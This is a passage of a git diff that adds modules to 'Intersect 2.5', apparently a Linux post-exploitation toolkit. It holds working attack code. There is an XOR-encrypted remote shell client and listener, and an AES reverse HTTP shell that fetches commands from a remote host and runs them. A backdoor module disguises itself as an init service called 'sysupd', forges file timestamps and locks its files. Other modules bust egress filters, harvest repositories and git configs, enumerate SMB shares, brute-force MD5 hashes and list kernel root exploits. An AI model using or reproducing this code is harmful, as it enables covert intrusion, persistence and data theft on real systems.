remove_found_hash(self, hash): + """Remove the found hash from the hash list, which will be rewritten to + the disk. This prevents us from cracking the same password twice.""" + + del self.hashes[hash] + for line in self.hash_list: + if re.search(hash, line): + self.hash_list.remove(line) + + def process_user(self, user, password): + """Writes the username, hash and password to the results array. Finds + the hash using the user. After the results are written, we remove + the found hash from the hash file on disk.""" + + if user in self.hashes.itervalues(): + for k, v in self.hashes.iteritems(): + if v == user: + self.results.append(user + ':' + k + ':' + password) + self.remove_found_hash(hash) + + def process_hash(self, hash, password): + """Writes the username, hash and password to the results array. Finds + the user using the hash. After results are written, we remove the found + hash from the hash file on the disk.""" + + if hash in self.hashes.iterkeys(): + self.results.append(self.hashes[hash] + ':' + hash + ':' + password) + self.remove_found_hash(hash) + + def process_output(self, output): + """Uses regular expressions to find hashes and passwords in results and + passes them to either the process_hash or process_user function. Pwdump + and DCC results are different than typical results for other hash types + so I have separated them as special cases. I have REs for outputs from + common programs such as rcracki and hashcat. Other REs may need to be + added for outputs from other programs.""" + + if self.hash_type == 'pwdump': + # All REs here should be for proccessing results of pwdump commands + # RE for output from rcracki_mt + for r in re.finditer("([A-Za-z0-9.]+)\s+(.?)\s+hex:.*", output): + self.process_user(r.group(1), r.group(2)) + + elif self.hash_type == 'dcc': + #All REs here should be for processing results of dcc commands + # RE for DCC output for hashcat family + for r in re.finditer("([0-9a-f]{16,}):.*:(.*)", output): + self.process_hash(r.group(1), r.group(2)) + else: + # RE for standard output for hashcat family + for r in re.finditer("([0-9a-f]{16,}):(.*)", output): + self.process_hash(r.group(1), r.group(2)) + + def write_file(self, hashes=None): + """Write the hashes to a file for use by the cracking commands.""" + if hashes == None: + hashes = self.hash_list + + f = open(self.hash_file, 'w') + for line in hashes: + f.write(line + '\n') + f.close() + + def fix_cmd(self, cmd): + for c in xrange(len(cmd)): + if cmd[c] == '{file}': cmd[c] = self.hash_file + return cmd + + def run(self): + """For each command, process the hash_list, modify the command to + include the correct file name on disk, and run the command. Once the + command is run, we process the output, which include updating the hash + list to remove found hashes.""" + + for cmd in self.commands: + self.process_hash_list() + cmd = self.fix_cmd(cmd) + self.process_output(subprocess.check_output(cmd)) + + self.complete = True + + +#------------------------------------------------------------------------------ +# CrackManager Class +#------------------------------------------------------------------------------ +class CrackManager(): + + def __init__(self, config): + self.config = {} + self.load_cfg(config) + self.processes = {} + + def load_cfg(self, config): + """Load configuration file. Blank lines and comments are skipped. + Confirms each command exists but does not confirm the arguments to the + command.""" + try: + cfgfile = open(config, 'r') + for line in cfgfile: + if re.match('^$', line): continue + if re.match('^#.*$', line): continue + h, c = line.split('|') + cmd = shlex.split(c.rstrip('\r\n')) + + # Split off the command so we can verify it exists. + if os.path.exists(cmd[0]): + if h in self.config.keys(): + self.config[h].append(cmd) + else: + self.config[h] = [] + self.config[h].append(cmd) + else: + raise Exception("Command {0} does not exist.".format(cmd[0])) + + except Exception, err: + raise Exception("Error loading configuration file: \n{0}\n{1}\n".format(str(err), traceback.print_exc())) + + def crack_passwords(self, hlist, htype): + """Accepts an array and hash type from the xmlrpc client. Creates an id + and a CrackThread object and passes the id, array, and hash type to it. + Returns the id so that results can be obtained later. + + If a hash type is not supported by the server then it returns id 0.""" + + id = 0 + message = '' + if htype in self.config.iterkeys(): + id = str(int(time.time())) + message = "Request accepted by server." + self.processes[id] = CrackThread(id, htype, hlist, self.config[htype]) + self.processes[id].start() + else: + message = "Server does not support the hash type requested." + + return id, message + + def get_progress(self, id): + """Accepts an id and provides the results for the CrackThread with that + id. Gets a copy of the results and clears them to prevent duplicates. + If the process is complete, it is removed from the process dictionary. + Returns completion status and current results.""" + + r = self.processes[id].results + self.processes[id].results = [] + + c = self.processes[id].complete + if c: + #If the thread is complete remove CrackThread from processes dict + del(self.processes[id]) + + return c, r diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py new file mode 100644 index 0000000..4f66a3e --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py @@ -0,0 +1,61 @@ +#! /usr/bin/python +# Copyright 2011 Stephen Haywood aka AverageSecurityGuy +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Crackserver uses the crack.py module to setup a XMLRPC server to handle +# password cracking requests. +# + +import SimpleXMLRPCServer as sxml +import crack +import argparse + +desc = """Crackserver uses the crack.py module to setup a XMLRPC server to +handle password cracking requests.""" + +parser = argparse.ArgumentParser(description=desc) +parser.add_argument('-l', action='store', default='127.0.0.1', + help='IP address to listen on. (default: 127.0.0.1)') +parser.add_argument('-p', action='store', default='8000', + help='Port to listen on. (default: 8000)') +parser.add_argument('-c', action='store', default='crack.cfg', + help='Configuration file. (default: crack.cfg)') + +args = parser.parse_args() + +# Create new CrackManager object to handle cracking process. +try: + c = crack.CrackManager(args.c) + print "CrackManager configured successfully" +except Exception, err: + print "CrackManager configuration unsuccessful:\n" + print str(err) + exit() + +try: + server = sxml.SimpleXMLRPCServer((args.l, int(args.p)), + requestHandler=sxml.SimpleXMLRPCRequestHandler) + print "XMLRPC server configuration successful." +except Exception, err: + print "XMLRPC server configuration unsuccessful:\n" + print str(err) + exit() + +# Register CrackManager functions to be used with by XMLRPC client. +server.register_introspection_functions() +server.register_function(c.crack_passwords, 'crack') +server.register_function(c.get_progress, 'results') +server.serve_forever() + diff --git a/Wappalyzer/drivers/python/js/.gitkeep b/Intersect-2.5/Tools/Standalone-Shells/XMPP/xmpp-listener.py similarity index 100% rename from Wappalyzer/drivers/python/js/.gitkeep rename to Intersect-2.5/Tools/Standalone-Shells/XMPP/xmpp-listener.py diff --git a/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py new file mode 100644 index 0000000..2429485 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py @@ -0,0 +1,87 @@ +#!/usr/bin/python + +# Intersect 2.5 +# XOR Shell Client +# trial version. don't expect this to work all that well. + +import os, sys +import socket +from subprocess import Popen,PIPE,STDOUT,call + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + +socksize = 4096 +conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) + pin = sys.argv[3] + +except IndexError: + print("You must specify an IP address, port and XOR cipher key.") + print("usage: ./tcp-client.py 192.168.1.4 4444 KEY") + sys.exit() + +try: + conn.connect((HOST, PORT)) + print("[+] New connection established!") + print("[+] Starting Intersecting shell....") + print("[+] Type ':help' to view all available commands") +except: + print("[!] Connection error!") + sys.exit(2) + +while True: + data = conn.recv(socksize) + data2 = xor(data, pin) + msg = raw_input(data2) + cmd = xor(msg, pin) + conn.sendall(str(cmd)) + if msg == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif msg.startswith(':download'): + getname = msg.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, pin) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif msg.startswith(':upload'): + getname = msg.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, pin) + conn.sendall(senddata) + elif msg == (":exec"): + print("Feature not yet fully implemented!") + elif msg == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + +conn.close() + diff --git a/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py new file mode 100644 index 0000000..ef45dc2 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py @@ -0,0 +1,108 @@ +#!/usr/bin/python + +# Intersect 2.5 +# XOR Shell Listener +# trial version. don't expect this to work all that well. + +import os, sys +import socket +import time + +activePID = [] +socksize = 4096 + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) + pin = sys.argv[3] +except IndexError: + print("You must specify an IP address, port and XOR cipher key.") + print("usage: ./tcp-client.py 192.168.1.4 4444 KEY") + sys.exit() + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) +server.bind((HOST, PORT)) +server.listen(5) +print("Listening on port %s for 5 connetions..." % PORT) + + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + +def accept(): + while 1: + conn, addr = server.accept() + print "[!] New connection!" + reaper() + childPid = os.fork() + if childPid == 0: + handler(conn) + else: + activePID.append(childPid) + +def handler(conn): + time.sleep(3) + + while True: + data = conn.recv(socksize) + data2 = xor(data, pin) + msg = raw_input(data2) + cmd = xor(msg, pin) + conn.sendall(str(cmd)) + if msg == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif msg.startswith(':download'): + getname = msg.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, pin) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif msg.startswith(':upload'): + getname = msg.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, pin) + conn.sendall(senddata) + elif msg == (":exec"): + print("Feature not yet fully implemented!") + elif msg == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + + conn.close() + os._exit(0) + +accept() + diff --git a/Intersect-2.5/Tools/md5crack.py b/Intersect-2.5/Tools/md5crack.py new file mode 100644 index 0000000..85c43a7 --- /dev/null +++ b/Intersect-2.5/Tools/md5crack.py @@ -0,0 +1,66 @@ +#!/usr/bin/python +# This script uses a bruteforce method to crack MD5 hashes +# If the password length is longer than ~10 characters, it could take a considerable time to crack +# Also, this code can be very CPU intensive if you are running it for long periods of time +# or running several instances at once. Be kind to it, it just a proof of concept. + +import itertools +import sys +import hashlib +import time + +lower = 'abcdefghijklmnopqrstuvwxyz' +upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +lowup = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' +numbers = '1234567890' +lownum = 'abcdefghijklmnopqrstuvwxyz1234567890' +upnum = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' +all = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' + +def brutecrack(): + length = int(sys.argv[2]) + 1 + + if sys.argv[1] == '-l': + final = lower + elif sys.argv[1] == '-U': + final = upper + elif sys.argv[1] == '-n': + final = numbers + elif sys.argv[1] == '-aA': + final = lowup + elif sys.argv[1] == '-ln': + final = lownum + elif sys.argv[1] == '-Un': + final = upnum + elif sys.argv[1] == '-all': + final = all + + for i in range(1,length): + for p in itertools.product(final, repeat=i): + crack = ''.join(p) + m = hashlib.md5() + m.update(crack) + if m.hexdigest() != sys.argv[3]: + print "[X] Failed attempt => ",crack + + + else: + print "[!] Success => ", crack + sys.exit() + +def main(): + if len(sys.argv) <=1: + print '''\nMD5-Crack :\n +python md5crack.py -all 10 5f4dcc3b5aa765d61d8327deb882cf99 +-l | Lowercase Only +-U | Uppercase Only +-n | Numbers Only +-ln | Alphanumeric(lower) +-Un | Alphanumeric(upper) +-all | All of Above\n''' + sys.exit(1) + else: + brutecrack() + +if __name__ == "__main__" : + main() diff --git a/Intersect-2.5/Tools/tabnanny.py b/Intersect-2.5/Tools/tabnanny.py new file mode 100644 index 0000000..286a116 --- /dev/null +++ b/Intersect-2.5/Tools/tabnanny.py @@ -0,0 +1,21 @@ +#!/usr/bin/python + +import tabnanny +import sys, os + +if len(sys.argv) <=1: + print("Tabnanny Helper Script") + print("What:\nThis script checks for the existence of tabs and indents within a specified Python script.") + print("Why:\nPython is a crappy whitespace language and will throw errors if you mix spaces and tabs.") + print("How:\nEnter the filename that you would like to check. Review it. Proceed to curse Python and then go write some Ruby.") + print("usage: ./tabnanny.py filename") + sys.exit() + +filename = sys.argv[1] + + + +file = open(filename) +for line in file.readlines(): + print repr(line) + diff --git a/Intersect-2.5/src/Modules/local/Custom/aeshttp b/Intersect-2.5/src/Modules/local/Custom/aeshttp new file mode 100644 index 0000000..4ab0511 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/aeshttp @@ -0,0 +1,57 @@ + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + log_msg("\n\n [ Reverse AES HTTP shell executed ] ") + log_msg("\n Start Time: %s" % logtime) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + diff --git a/Intersect-2.5/src/Modules/local/Custom/egressbuster b/Intersect-2.5/src/Modules/local/Custom/egressbuster new file mode 100644 index 0000000..319ccbe --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/egressbuster @@ -0,0 +1,46 @@ + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + log_msg("\n\n [ Executed Egress Buster ]") + log_msg("\n Start Time: %s" % logtime) + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + diff --git a/Intersect-2.5/src/Modules/local/Custom/getrepos b/Intersect-2.5/src/Modules/local/Custom/getrepos new file mode 100644 index 0000000..2fc74c5 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/getrepos @@ -0,0 +1,42 @@ + +def getrepos(): + ''' + @description: Tries to find various source code repositories and management tools. Git, SVN. + @author: ohdae [bindshell@live.com] + @short: search for source code repos + ''' + log_msg("\n\n [ GetRepos Module Executed ]") + log_msg("\n Start Time: %s" % logtime) + + maketemp("repos") + repodir = (Temp_Dir+"/repos") + os.chdir(repodir) + + users() + + if whereis('git') is not None: + os.system("find %s -name *.git > UserRepos.txt" % Home_Dir) + for user in userlist: + if os.path.exists("/home/%s" % user) and os.access("/home/%s" % user, os.R_OK): + os.system("find /home/%s -name *.git > %sRepos.txt" % (user, user)) + if os.path.exists("/home/%s/.gitconfig" % user): + proc = Popen('cat /home/%s/.gitconfig' % user, + shell=True, + stdout=PIPE, + ) + config = proc.communicate()[0] + writenew("GitConfigs.txt", config) + + if currentuser == "root": + if os.path.exists("%s/.gitconfig" % Home_Dir): + proc = Popen("cat %s/.gitconfig" % Home_Dir, + shell=True, + stdout=PIPE, + ) + rootconf = proc.communicate()[0] + writenew("GitConfigs.txt", rootconf) + + if whereis('svn') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("/usr/bin/find /home/%s -name *.svn > SvnRepos.txt" % user) diff --git a/Intersect-2.5/src/Modules/local/Custom/icmpshell b/Intersect-2.5/src/Modules/local/Custom/icmpshell new file mode 100644 index 0000000..ad9a107 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/icmpshell @@ -0,0 +1,2 @@ + +# Module coming soon. Starts an ICMP shell on the target system. diff --git a/Intersect-2.5/src/Modules/local/Custom/openshares b/Intersect-2.5/src/Modules/local/Custom/openshares new file mode 100644 index 0000000..637bd1f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/openshares @@ -0,0 +1,35 @@ + +def openshares(): + ''' + @description: Uses smbclient to find open SMB shares on a specified host. Usage: ./Intersect.py --openshares 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: find open SMB shares + ''' + ipaddr = sys.argv[2] + + if whereis('smbclient') is None: + print("[!] SMBClient cannot be found on this system!") + sys.exit() + + else: + print("[+] Enumerating open shares....\n") + log_msg("\n\n [ SMB Shares Module executed ]") + log_msg("\n Start Time: %s" % logtime) + + os.popen("/usr/bin/smbclient -L %s -N" % ipaddr) + + getdisks = os.popen(r'/usr/bin/smbclient -L %s -N 2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//" | sed -e "s/^[ \t]*//"' % ipaddr) + disks = getdisks.readlines() + disks = filter(None, disks) + disks = [d.strip() for d in disks] + getdisks.close() + + for disk in disks: + proc = Popen('/usr/bin/smbclient //%s/"%s" -N -c "dir;exit" 2>/dev/null'%(ipaddr,disk), + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + print("[+] Contents of %s " % disk) + print output + diff --git a/Intersect-2.5/src/Modules/local/Custom/persistent b/Intersect-2.5/src/Modules/local/Custom/persistent new file mode 100644 index 0000000..da46d06 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/persistent @@ -0,0 +1,82 @@ + +def persistent(): + ''' + @description: Installs any Intersect shell module as a persistent backdoor. Will start shell on every system reboot. + @author: ohdae [bindshell@live.com] | additional code and fixes by bonsaiviking + @short: install persistent backdoor + ''' + header = " => " + print("Select option: ") + print("1. Add new service") + print("2. Remove existing persistence") + option = raw_input("%s " % (header)) + + if option == '1': + addpersist() + elif option == '2': + if os.path.exists("/etc/init.d/sysupd") is True: + print("[+] Removing Intersect persistence...") + if whereis('chattr') is not None: + os.system("chattr -i /etc/init.d/sysupd") + os.system("chattr -i /etc/default/sysupd") + os.system("rm /etc/init.d/sysupd") + os.system("update-rc.d sysupd remove") + os.system("rm /etc/default/sysupd") + print("[+] Persistent shell successfully removed!") + log_msg("\n\n [ Removed Persistent Service ]") + log_msg("\n Start Time: %s" % logtime) + else: + print("[!] No existing persistent shell found!") + else: + print("[!] Invalid option! Enter '1' or '2'") + + +def addpersist(): + header = " => " + print("Full path of your Intersect script: ") + currentfile = raw_input("%s " % (header)) + + if os.path.exists(currentfile) is True: + shutil.copy2(currentfile, "/etc/default/sysupd") + else: + print("[!] Incorrect file path, Try again!") + persistent() + + + print("Specify which shell to use: ") + shell = raw_input("%s " % (header)) + + if shell in modList is False: + print("[!] Shell module not loaded!") + persistent() + else: + if os.path.isdir("/etc/init.d"): + serwrite = open("/etc/init.d/sysupd", "w") + serwrite.write("#!/bin/sh\ncd /etc/default/\npython sysupd --%s &" % shell) + serwrite.close() + os.system("chmod +x /etc/init.d/sysupd") + os.system("update-rc.d sysupd defaults") + print("[+] Persistent service installed.") + print("[+] Modifying accessed and modified times on shell files.") + copystat = os.stat('/etc/init.d/rcS') + os.utime("/etc/default/sysupd",(copystat.st_atime, copystat.st_mtime)) + os.utime("/etc/init.d/sysupd",(copystat.st_atime, copystat.st_mtime)) + print("[+] Attempting to lock down shell files...") + if whereis('chattr') is not None: + status = os.system("chattr +i /etc/default/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + status = os.system("chattr +i /etc/init.d/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + else: + print("[!] Chattr not found. Could not lock files.") + + print("[+] Persistent shell successfull! System will now start your shell as a background process on every reboot.") + + log_msg("\n [ Installed Persistent Service ]") + log_msg("\n Start Time: %s" % logtime) + + + + diff --git a/Intersect-2.5/src/Modules/local/Custom/portscan b/Intersect-2.5/src/Modules/local/Custom/portscan new file mode 100644 index 0000000..0e0b28b --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/portscan @@ -0,0 +1,22 @@ + +def portscan(): + ''' + @description: Very simple port scan. Scans ports 1 - 1000 on specified IP. Best used against LAN hosts. Usage: ./Intersect.py -p 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: port scanner (-p ) + ''' + if len(sys.argv) <=2: + print("[!] Must specify an IP address!") + Shutdown() + + ipaddr = sys.argv[2] + print("[+] Starting portscan of: %s " % ipaddr) + + for i in range(1, 1000): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + result = s.connect_ex((ipaddr, i)) + if(result == 0) : + print("[+] Port open %d " % (i,)) + s.close() + diff --git a/Intersect-2.5/src/Modules/local/Custom/privesc b/Intersect-2.5/src/Modules/local/Custom/privesc new file mode 100644 index 0000000..7986859 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/privesc @@ -0,0 +1,96 @@ + +def fix_version(version): + ''' + @description: Checks for the Linux kernel for the existence of possible privilege escalation exploits. Provides CVE and download link if available. + @author: original code by Bernardo Damele + @short: identify priv-esc vulns + ''' + split_version = version.split(".") + + if len(split_version) >= 3 and len(split_version[2]) == 1: + split_version[2] = "0%s" % split_version[2] + version = ".".join(v for v in split_version) + + return version + + +def privesc(): + # Shout out to Bernardo Damele for letting me use this code! Thanks again! + # Check out his blog at http://bernardodamele.blogspot.com + + kernel_version_string = os.popen('uname -r').read().strip() + + exploitdb_url = "http://www.exploit-db.com/exploits" + enlightenment_url = "http://www.grsecurity.net/~spender/enlightenment.tgz" + + status_msg("[+] Results for local kernel version %s" % kernel_version_string) + + kernel_parts = kernel_version_string.split("-") + kernel_version = fix_version(kernel_parts[0]) + + found_exploit = False + exploits = { + "do_brk": { "CVE": "2003-0961", "versions": ("2.4.0-2.4.22",), "exploits": (131,) }, + "mremap missing do_munmap": { "CVE": "2004-0077", "versions": ("2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"), "exploits": (160,) }, + "binfmt_elf Executable File Read": { "CVE": "2004-1073", "versions": ("2.4.0-2.4.27", "2.6.0-2.6.8"), "exploits": (624,) }, + "uselib()": { "CVE": "2004-1235", "versions": ("2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"), "exploits": (895,) }, + "bluez": { "CVE": "2005-1294", "versions": ("2.6.0-2.6.11.5",), "exploits": (4756, 926) }, + "prctl()": { "CVE": "2006-2451", "versions": ("2.6.13-2.6.17.4",), "exploits": (2031, 2006, 2011, 2005, 2004) }, + "proc": { "CVE": "2006-3626", "versions": ("2.6.0-2.6.17.4",), "exploits": (2013,) }, + "system call emulation": { "CVE": "2007-4573", "versions": ("2.4.0-2.4.30", "2.6.0-2.6.22.7",), "exploits": (4460,) }, + "vmsplice": { "CVE": "2008-0009", "versions": ("2.6.17-2.6.24.1",), "exploits": (5092, 5093) }, + "ftruncate()/open()": { "CVE": "2008-4210", "versions": ("2.6.0-2.6.22",), "exploits": (6851,) }, + "eCryptfs (Paokara)": { "CVE": "2009-0269", "versions": ("2.6.19-2.6.31.1",), "exploits": (enlightenment_url,) }, + "set_selection() UTF-8 Off By One": { "CVE": "2009-1046", "versions": ("2.6.0-2.6.28.3",), "exploits": (9083,) }, + "UDEV < 141": { "CVE": "2009-1185", "versions": ("2.6.25-2.6.30",), "exploits": (8478, 8572) }, + "exit_notify()": { "CVE": "2009-1337", "versions": ("2.6.0-2.6.29",), "exploits": (8369,) }, + "ptrace_attach() Local Root Race Condition": { "CVE": "2009-1527", "versions": ("2.6.29",), "exploits": (8678, 8673) }, + "sock_sendpage() (Wunderbar Emporium)": { "CVE": "2009-2692", "versions": ("2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"), "exploits": (9641, 9545, 9479, 9436, 9435, enlightenment_url) }, + "udp_sendmsg() (The Rebel)": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9.2",), "exploits": (9575, 9574, enlightenment_url) }, + "(32bit) ip_append_data() ring0": { "CVE": "2009-2698", "versions": ("2.6.0-2.6.9",), "exploits": (9542,) }, + "perf_counter_open() (Powerglove and Ingo m0wnar)": { "CVE": "2009-3234", "versions": ("2.6.31",), "exploits": (enlightenment_url,) }, + "pipe.c (MooseCox)": { "CVE": "2009-3547", "versions": ("2.6.0-2.6.32rc5", "2.4.0-2.4.37"), "exploits": (10018, enlightenment_url) }, + "CPL 0": { "CVE": "2010-0298", "versions": ("2.6.0-2.6.11",), "exploits": (1397,) }, + "ReiserFS xattr": { "CVE": "2010-1146", "versions": ("2.6.0-2.6.34rc3",), "exploits": (12130,) }, + "Unknown": { "CVE": None, "versions": ("2.6.18-2.6.20",), "exploits": (10613,) }, + "SELinux/RHEL5 (Cheddar Bay)": { "CVE": None, "versions": ("2.6.9-2.6.30",), "exploits": (9208, 9191, enlightenment_url) }, + "compat": { "CVE": "2010-3301", "versions": ("2.6.27-2.6.36rc4",), "exploits": (15023, 15024) }, + "BCM": { "CVE": "2010-2959", "versions": ("2.6.0-2.6.36rc1",), "exploits": (14814,) }, + "RDS protocol": { "CVE": "2010-3904", "versions": ("2.6.0-2.6.36rc8",), "exploits": (15285,) }, + "put_user() - full-nelson": { "CVE": "2010-4258", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "sock_no_sendpage() - full-nelson": { "CVE": "2010-3849", "versions": ("2.6.0-2.6.37",), "exploits": (15704,) }, + "ACPI custom_method": { "CVE": "2010-4347", "versions": ("2.6.0-2.6.37rc2",), "exploits": (15774,) }, + "CAP_SYS_ADMIN": { "CVE": "2010-4347", "versions": ("2.6.34-2.6.37",), "exploits": (15916, 15944) }, + "econet_sendmsg() - half-nelson": { "CVE": "2010-3848", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787,) }, + "ec_dev_ioctl() - half-nelson": { "CVE": "2010-3850", "versions": ("2.6.0-2.6.36.2",), "exploits": (17787, 15704) }, + "ipc - half-nelson": { "CVE": "2010-4073", "versions": ("2.6.0-2.6.37rc1",), "exploits": (17787,) }, + } + + log_msg("Executed 'privesc' module") + + status_msg("Possible exploits: ") + + for name, data in exploits.items(): + versions = data["versions"] + + for version_tree in versions: + if "-" in version_tree: + min_version, max_version = version_tree.split("-") + else: + min_version, max_version = version_tree, version_tree + + if kernel_version >= fix_version(min_version) and kernel_version <= fix_version(max_version): + cve = data["CVE"] + exploits = data["exploits"] + found_exploit = True + + status_msg("\n* Linux Kernel %s Local Root Exploit\n CVE: CVE-%s\n Affected Kernels: %s-%s\n Exploits:\n%s" % (name, cve, min_version, max_version, "\n".join(" %s/%d" % (exploitdb_url, expl) if isinstance(expl, int) else " %s" % expl for expl in exploits))) + + if found_exploit: + status_msg("") + + if len(kernel_parts) > 1: + print "WARNING: %s appears to be a modified version of kernel %s." % (kernel_version_string, kernel_version) + print "These exploits can *possibly* get you to uid=0, but this script does *not* consider patched or backported kernel version\n" + + diff --git a/Intersect-2.5/src/Modules/local/Custom/privesc~ b/Intersect-2.5/src/Modules/local/Custom/privesc~ new file mode 100644 index 0000000..9dc8205 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Custom/privesc~ @@ -0,0 +1,96 @@ + +def fix_version(version): + ''' + @description: Checks for the Linux kernel for the existence of possible privilege escalation exploits. Provides CVE and download link if available. + @author: original code by Bernardo Damele + @short: identify priv-esc vulns + ''' + split_version = version.split(".") + + if len(split_version) >= 3 and len(split_version[2]) == 1: + 